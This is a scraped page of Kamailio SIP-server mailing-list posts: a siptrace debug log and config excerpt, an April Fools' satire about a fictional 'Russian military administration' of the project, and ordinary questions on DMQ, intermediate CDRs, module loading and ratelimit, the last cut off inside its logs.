17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| sanity [sanity.c:350]: check_required_headers(): check_required_headers passed 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| sanity [sanity.c:358]: check_via1_header(): check via1 header 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| sanity [sanity.c:519]: check_cseq_method(): check_cseq_method entered 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| sanity [sanity.c:553]: check_cseq_method(): check_cseq_method passed 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| sanity [sanity.c:563]: check_cseq_value(): check_cseq_value entered 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| sanity [sanity.c:591]: check_cseq_value(): check_cseq_value passed 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| sanity [sanity.c:601]: check_cl(): check_cl entered 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| sanity [sanity.c:626]: check_cl(): check_cl passed 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| sanity [sanity.c:643]: check_expires_value(): check_expires_value entered 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| sanity [sanity.c:679]: check_expires_value(): no expires header found 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| sanity [sanity.c:776]: check_parse_uris(): check_parse_uris entered 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| sanity [sanity.c:780]: check_parse_uris(): parsing ruri 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| sanity [sanity.c:793]: check_parse_uris(): looking up From header 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| <core> [core/parser/parse_addr_spec.c:185]: parse_to_param(): add param: tag=122cd223 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| <core> [core/parser/parse_addr_spec.c:904]: parse_addr_spec(): end of header reached, state=29 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| sanity [sanity.c:808]: check_parse_uris(): looking up To header 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| sanity [sanity.c:858]: check_parse_uris(): check_parse_uris passed 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| sanity [sanity_mod.c:252]: w_sanity_check(): sanity checks result: 1 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=608 a=5 n=route 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[NATDETECT] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=962 a=16 n=if 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[NATDETECT] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=950 a=25 n=nat_uac_test 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[NATDETECT] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=962 a=2 n=return 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=615 a=16 n=if 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=623 a=16 n=if 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=615 a=25 n=is_method 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=632 a=16 n=if 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=623 a=25 n=is_method 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=628 a=16 n=if 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=624 a=24 n=t_precheck_trans 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=628 a=24 n=t_check_trans 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| tm [t_lookup.c:1578]: t_check_msg(): msg (0x7ff0858855f0) id=1/3539 global id=0/0 T start=0xffffffffffffffff 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| tm [t_lookup.c:793]: t_lookup_request(): start searching: hash=30439, isACK=0 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| tm [t_lookup.c:512]: matching_3261(): RFC3261 transaction matching failed - via branch [z9hG4bK-d87543-4f7e02083f709d16-1--d87543-] 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| tm [t_lookup.c:993]: t_lookup_request(): no transaction found 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| tm [t_lookup.c:1650]: t_check_msg(): msg (0x7ff0858855f0) id=1/3539 global id=1/3539 T end=(nil) 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=632 a=5 n=route 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[WITHINDLG] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=757 a=16 n=if 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[WITHINDLG] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=753 a=24 n=has_totag 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| siputils [checks.c:122]: has_totag(): no totag 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[WITHINDLG] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=753 a=2 n=return 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=637 a=5 n=route 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[AUTH] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=944 a=16 n=if 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| <core> [core/socket_info.c:742]: grep_sock_info(): checking if host==us: 12==12 && [172.16.4.113] == [172.16.4.113] 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| <core> [core/socket_info.c:745]: grep_sock_info(): checking if port 5460 (advertise 0) matches port 5460 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| <core> [core/forward.c:446]: check_self(): host (0:172.16.4.113:5460) == me 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[AUTH] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=944 a=2 n=return 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=641 a=25 n=remove_hf 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=647 a=16 n=if 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=642 a=25 n=is_method 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=644 a=24 n=record_route 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| rr [record.c:490]: record_route(): inserted record route (r2: 1 - plen: 0) 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=645 a=24 n=dlg_manage 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| dialog [dlg_hash.c:907]: internal_get_dlg(): no dialog callid='NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.' found 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| dialog [dlg_hash.c:975]: dlg_search(): dialog with callid='NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.' not found 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| dialog [dlg_hash.c:478]: build_new_dlg(): new dialog on hash 1712 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| dialog [dlg_handlers.c:275]: populate_leg_info(): leg(0) route_set [], contact [sip:1003@172.16.80.3:8798], cseq [1] and bind_addr [udp:172.16.4.113:5460] 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| dialog [dlg_hash.c:1040]: link_dlg(): linking dialog [1712:1302] 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| dialog [dlg_hash.c:1049]: link_dlg(): ref dlg 0x7ff07ff56f10 with 1 -> 1 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| dialog [dlg_handlers.c:698]: get_dlg_timeout(): using default timeout 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| dialog [dlg_cb.c:227]: run_create_callbacks(): dialog=0x7ff07ff56f10 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| siptrace [siptrace.c:2128]: trace_dialog(): Spiraled dialog! 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| siptrace [siptrace.c:2150]: trace_dialog(): trace_info xavp not registered! Probably incoming E2E CANCEL! 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| dialog [dlg_profile.c:541]: set_current_dialog(): setting current dialog [1712:1302] 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| dialog [dlg_hash.c:780]: dlg_lookup_mode(): ref dlg 0x7ff07ff56f10 with 1 -> 2 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| dialog [dlg_hash.c:784]: dlg_lookup_mode(): dialog id=1302 found on entry 1712 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| dialog [dlg_handlers.c:1927]: dlg_manage(): dialog created before transaction 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| dialog [dlg_hash.c:1088]: dlg_unref_helper(): unref op on 0x7ff07ff56f10 with 1 from dlg_hash.c:1106 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| dialog [dlg_hash.c:1092]: dlg_unref_helper(): unref dlg 0x7ff07ff56f10 with 1 -> 1 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=658 a=16 n=if 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=647 a=25 n=is_method 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=648 a=25 n=sip_trace_mode 2(3539) BUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| siptrace [siptrace.c:1917]: trace_add_info_xavp(): URI should be in raw format here 2(3539) ERROR: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| siptrace [siptrace.c:1028]: sip_trace_helper(): failed to serialize siptrace info! Won't trace dialog! 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=649 a=24 n=sip_trace 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| siptrace [siptrace.c:618]: sip_trace_insert_db(): storing info - no user 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| <core> [db_query.c:72]: db_do_submit_query(): submitted query: insert into ###### here is my kamailio.cfg: ``` loadmodule "siptrace.so" modparam("siptrace", "db_url", DBURL) modparam("siptrace", "traced_user_avp", "$avp(user)") modparam("siptrace", "trace_on", 1) modparam("siptrace", "trace_init_mode", 0) ... route(AUTH); # record routing for dialog forming requests (in case they are routed) # - remove preloaded route headers remove_hf("Route"); if (is_method("INVITE|SUBSCRIBE|REFER")) { record_route(); dlg_manage(); } if (is_method("INVITE")) { sip_trace_mode("d"); sip_trace(); } ```

1 0

New direction for Kamailio under Russian military administration
by Alex Balashov 01 Apr '25

01 Apr '25

For immediate release: BERLIN, Germany (1 April 2025)--The newly appointed executive and political head of the Russian Military Administration of Kamailio (R-MAK), General Alexander Balashov, has issued a proclamation: diversity, equity and inclusion (DEI) initiatives in the Kamailio will be fiscally de-emphasised, 'woke' modules will be removed in future releases, and realist relations with other open-source projects and commercial stakeholders will be sought, based henceforth on the 'pragmatics' of relative strength and strategic advantage, calculated from the extrapolated monetary value of Github commits. To note, the Kamailio project came into the remit of Balashov and R-MAK following the dissolution of the post-war transatlantic alliance system and the capitulation of NATO in the first quarter of 2025. These events were followed by direct negotiations between US Vice President J.D. Vance and the Government of the Russian Federation on the future course of Kamailio and SIP real-time communications, in which it was quickly concluded by both parties that Kamailio fell into the Russian sphere of influence. In an interview with Balashov, our bright and patriotic staff here at 'Krasnaya Zvezda' pressed him to further articulate and clarify the 'new thinking', as the new R-MAK initiatives have been informally dubbed around the offices of Kamailio. What follows is a selection of his remarks. Our first question to Balashov was on the tip of many journalists' tongues: what are the most woke modules in Kamailio? 'How should I know? They are everywhere, lots of people sayink it', Balashov answered, gesturing airily at the ceiling. 'Our specialists lookink on case-by-the-case basis. But sometimes is obvious, for example the JavaScript modules, like app_jsdt. This is clearly to subsidise a certain kind of morally deficient person.' What kind of person? we inquired, to be met with a characteristic frosty reply: 'You know the kind.' Our next question concerned some confusion about where, exactly, DEI initiatives are found in Kamailio today: 'From what I know this? Like swamp, this source code. How to say it, "drainink?" Yes, yes, I want to do that with swamp. Zero-based budget approach. Do you know it?' Asked to clarify, Balashov added: 'It's new idea from good friend Elon and the very efficient Dozh. Is good. We remove all module, then we look: what is broken? For example from technical viewpoint or political? What is broken? Maybe nothing.' One could be forgiven for wondering what 'broken' means in this context. We asked Balashov: does it mean CI tests no longer passing? 'No, no, no, automated tests are vegan soy-boy agenda. If you automatically test, when will you ever write correct code? I will not, I know automatic test will catch. Lazy approach. This idea, "test test test", for small minds. Do you know history of CI/CD? Propaganda is that Americans came up with it, but did not. Is invented by people from countries of later-times accession to EU, they are be-ne-fi-ci-aries of Bruxelle redistributionink policy, social cohesions grants and regional economic development equalisation initiatives, like something from socialist bloc countries or maybe Mezzogiorno, without otherwise much work prospects, until suddenly: unemployed guy with idea! "I am now Directeur of Le Cloud DevOps!" What is DevOps? It is from nothing, but suddenly hearing this in cultured places, theatres, palaces, galleries. Where it comes from? Why nobody asks? This is the old political correctness, and now we must release this suffocation with fresh and original thinking.' When our team asked for a concrete example of R-MAK's zero-based module trimming process, Balashov did not hesitate to focus on a well-known preoccupation: 'The most obvious example of very much not-needed module is TM. I Snapchat good friend Elon and I say him, "is it needed?" He says "no". But maybe I don't trust, GRU say he is always with marijuana, likewise ketamine. I make FaceTime with Milei: "¿Vos querés TM?" He says, "¡Que se vaya a la mierda y también los izquierdistas!" I phone Donald, "what do you think about this TM?" He says, "I signed a tremendous executive order to ban it this morning". I bother Orban in the middle of the night: "I am awake, asking myself, asking my wife: who needs TM?", and he answers: "no man who is civilisationally compatible with European values". Now I go to public sector union subreddits and askink same, and there is much noise and raging and I lose the karma, downvote to negative 26. I WhatsApp the leftists and they squeal. I Microsoft Teams to Bill Clinton and he says "TM is a key component of the international Kamailio order, used in 95% of configurations worldwide". Great! The answer is more clear than Lake Baikal: TM, goodbye, and I never knew you!' What else is marked for deletion?, wondered a contributing staff writer. On this point, Balashov was coy, declining to reveal the full working draft of slated cuts. However, he was not wholly unwilling to preview the direction of travel for the fate of Kamailio's 250+ modules. 'The STIR-SHAKING stuff of course gone. Now you can saying again "master-slave replication", as nature wills, without guilt, for which to be forced to this fake apologetics, "primary-secondary replication". Cannot anymore "blacklist"? What this emotionally constipated style? And likewise freedom means free to make telemarket without performative rituals of atonement for the sins.' Balashov went on to cite President Donald Trump, who had remarked: 'Robocall mitigations are money grab by failing FCC and their Trump-hating Democrat croneys. People are saying they are issuing eighth report and order, they are believing the fake liberal news. It's going to stop, and it's going to stop right now.' Balashov also intimated that he did not hold dearly in his heart the 'carrierroute' module, which he linked, in the memorable words of Fox News' Laura Ingraham, to 'the chattering vaccinated classes': 'What gigahertz your immunology system vibrates at? Mine for example clean, not 5G.' Next, we posed a question from a reader: are these changes to Kamailio simply drafting in the slipstream of global realignment, anti-free trade momentum, backlash against progressive cultural totems, as well as, in the United States specifically, the inward turn, the withdrawal from internationalism, and the return to 19th century great power realism in international relations, under the new administration of Donald Trump? 'Da, sure, of course gettink along with fraternal peoples very important, but also some important difference from Anglo-Americans. In R-MAK we are constructing "reaction with European characteristics" and the goals are too broader, coalitions bigger.' For help in understanding where R-MAK's reimagined Kamailio stakes its claim in the shifting international order and in the contested claims of popular mandates and political legitimacy, we consulted the version control history. Our GitHub research broadly supports Balashov's taxonomy of the exceptional ways in which the new thinking in Kamailio caters to a larger variety of constituencies, beyond those of its more monolithic relative, MAGA, across the Atlantic. In addition to patches from a predictable crowd of well-known Eurosceptics and critics of the post-Cold War Western security architecture, the R-MAK branch of Kamailio has many commits from supporters of renewed and muscular state-guided moral interventionism. In particular, large diffs, likely bundles of commits squashed interactive rebasing, appear to come from Catholic corporatists of southern Europe. Static code analysis also revealed a distinctive trail of gremialist design patterns and algorithms in the coding style of Jaime Guzmán. While it can be arduous to interpret this braiding of intellectual influences into bottom-line policymaking, we asked Balashov if this was the broader coalition, or the ideological imprimatur of 'reaction with European characteristics', to which he alluded. 'Sure, okay, because leadink open-source project is for what, if user is the amoral agent, captaining only the flatulent steam-ship of his hedonism? Time has ended to be saying, "do whatever you want as long as GPL-compliant", "you are free to fork if you wish", "submit the PR of your dreams". Look at yourself! This is nihilism. It is like, as Americans say, "self-licking ice cream cone", da? If you look into repository clone long enough, it in turn look back into you, and what it sees? Kamailio is not enough just for clone; it must make you better man!' Added Balashov, emphatically: 'If open-source project regime is to matter, it must be PEDAGOGICAL!' Turning to questions of relations with neighbours, Balashov rather foreseeably merged into the flow of renovated international relations realism and the spirit of great power competition once again jostling the world. We asked Balashov if the new thinking in Kamailio implies an abandonment of prior global hegemonic claims vis-a-vis OpenSIPS: 'Who is abandonink? But we must live in peace. We have no quarrels with OpenSIPS if they want Bucharest or Amsterdam. For them they are havink their interests, and we are havink our too.' Notably, and somewhat surprisingly, however, Balashov added: 'But we are going to get Yate. It is historically correct. I take away no options from the table.' Lastly, we asked Balashov to touch on the delicate subject of IMS and 6G enthusiasts increasingly migrating into the ecology of Kamailio, and whether this has a place in the current of new thinking under R-MAK. 'I not know much about them. Many people sayink they are eating dogs, eating cats, right from the street in Berlin. What to say about such people?' -- Alex Balashov Principal Consultant Evariste Systems LLC Web: https://evaristesys.com Tel: +1-706-510-6800

1 0

DMQ read message too large
by Calvin E. 31 Mar '25

31 Mar '25

We are seeing errors like this when synchronizing htables over DMQ: ERROR: <core> [core/udp_server.c:677]: udp_rcv_loop(): read message too large: 60793 We have no issues with other UDP fragments caused by STIR/SHAKEN headers. Our socket buffers are sufficiently large (SO_RCVBUF is initially 26214400). Does DMQ have a receive message size limit less than what it can send? Is DMQ intended for htables under a certain total size? We tried to configure DMQ to use a TCP listener with ;transport=tcp on the notification and server address, but the DMQ traffic was still sent as UDP. The example in the documentation shows TLS, but we haven't tried that. -Calvin E.

2 3

Intermediate CDRs
by Sergio Charrua 31 Mar '25

31 Mar '25

Hi all! I have been googling, and reading documentation, but I could not find any solution. How can I implement intermediate CDRs with Kamailio ACC module (or any other module) ? For example, on long duration calls, I 'm required to save call status on a CDR, resulting in intermediate CDR lines for the call (which will result in multiple CDR lines per long duration calls). Any clue on how to implement this? Did anyone achieved that with Kamailio ACC module? Atenciosamente / Kind Regards / Cordialement / Un saludo, *Sérgio Charrua*

4 3

Multiple code modules
by David Cunningham 28 Mar '25

28 Mar '25

Hello, We have a requirement to load two code modules for use by kamailio.cfg, the reason being that we can't (won't, for business reasons) modify the first module and so need to add a second for our own code. Ideally we would load two Perl modules instead of the single module that's currently loaded like this: modparam( "app_perl", "filename", "/path/to/our/custom/Kamailio.pm" ) But I'm not sure how to load two modules like this. Otherwise, does anyone know if it's safe to load both a Perl module and a Python module? Then we could at least implement both required parts, one in Perl and one in Python. Thanks in advance for any help. -- David Cunningham, Voisonics Limited http://voisonics.com/ USA: +1 213 221 1092 New Zealand: +64 (0)28 2558 3782

1 0

[ratelimit module] doubts about behavior
by juliofabian6385＠hotmail.es 26 Mar '25

26 Mar '25

I am reading https://kamailio.org/docs/modules/devel/modules/ratelimit.html and I want Kamailio, before an avalanche of calls (INVITE), to start discarding calls that exceed a threshold in 1 second, for example. So in summary I have prepared the module as follows: loadmodule "ratelimit.so" modparam("ratelimit", "timer_interval",1) modparam("ratelimit", "pipe", "1:TAILDROP:10") request_route { . . if (is_method("INVITE")) { if (!rl_check_pipe("1")) { sl_send_reply("503","Limiting"); exit; } } . . } As I understand from the documentation, this gives me a counter (one per INVITE) equal to 10, which resets after 1 second. In other words, if I receive 30 INVITES in 1 second, it will discard 20. From here, I have two questions between what I understand and what I see in the logs. FIRST QUESTION: I've made several SIPP calls in one second. I've run several tests, and the first reset of the counter always happens approximately timer_interval/2. From then on, the counter resets exactly every timer_interval. Am I doing something wrong? ########## RUNNING LOGS ########## 2025-03-26T18:59:20.509696381Z 0(1) DEBUG: <core> [core/cfg.y:2165]: yyparse(): loading module ratelimit.so 2025-03-26T18:59:20.509698675Z 0(1) DEBUG: <core> [core/sr_module.c:533]: ksr_locate_module(): found module to load </usr/lib/kamailio/modules/ratelimit.so> 2025-03-26T18:59:20.509702249Z 0(1) DEBUG: <core> [core/sr_module.c:587]: ksr_load_module(): trying to load </usr/lib/kamailio/modules/ratelimit.so> 2025-03-26T18:59:20.509704682Z 0(1) DEBUG: <core> [core/kemi.c:3463]: sr_kemi_modules_add(): adding module: ratelimit 2025-03-26T18:59:20.509707031Z 0(1) DEBUG: <core> [core/cfg.lex:2095]: pp_define(): defining id: MOD_ratelimit 2025-03-26T18:59:20.509815384Z 0(1) DEBUG: <core> [core/modparam.c:112]: set_mod_param_regex(): 'ratelimit' matches module 'ratelimit' 2025-03-26T18:59:20.509817770Z 0(1) DEBUG: <core> [core/sr_module.c:850]: find_param_export(): found <timer_interval> in module ratelimit [/usr/lib/kamailio/modules/ratelimit.so] 2025-03-26T18:59:20.509820319Z 0(1) DEBUG: <core> [core/modparam.c:135]: set_mod_param_regex(): found <timer_interval> in module ratelimit 